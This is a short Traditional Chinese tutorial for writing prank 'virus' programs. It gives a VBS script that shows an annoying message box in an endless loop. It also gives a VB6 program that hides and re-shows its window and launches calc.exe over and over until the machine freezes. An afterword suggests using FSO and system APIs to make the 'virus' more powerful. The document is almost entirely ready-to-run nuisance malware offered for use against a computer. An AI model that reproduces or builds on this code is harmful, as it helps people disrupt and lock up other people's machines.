1.VBS版本:
打開記事本,輸入以下代碼:
Do Until 1=2
Wscript.echo "煩死妳!"
Loop
保存為1.VBS,運行後不斷出現"煩死妳"的對話框。
2.VB6版本:
打開Visual Basic 6.0,雙擊窗體,輸入以下代碼:
Private Sub Form_Load()
Do Until 1=2
Me.Hide
Me.Show
Shell "calc.exe"
Loop
End Sub 保存後編譯為EXE文件,運行後馬上死機。
後記:
如果是Win2000以上操作系統,在VB中調用FSO和系統API,可以極大增強病毒的威力。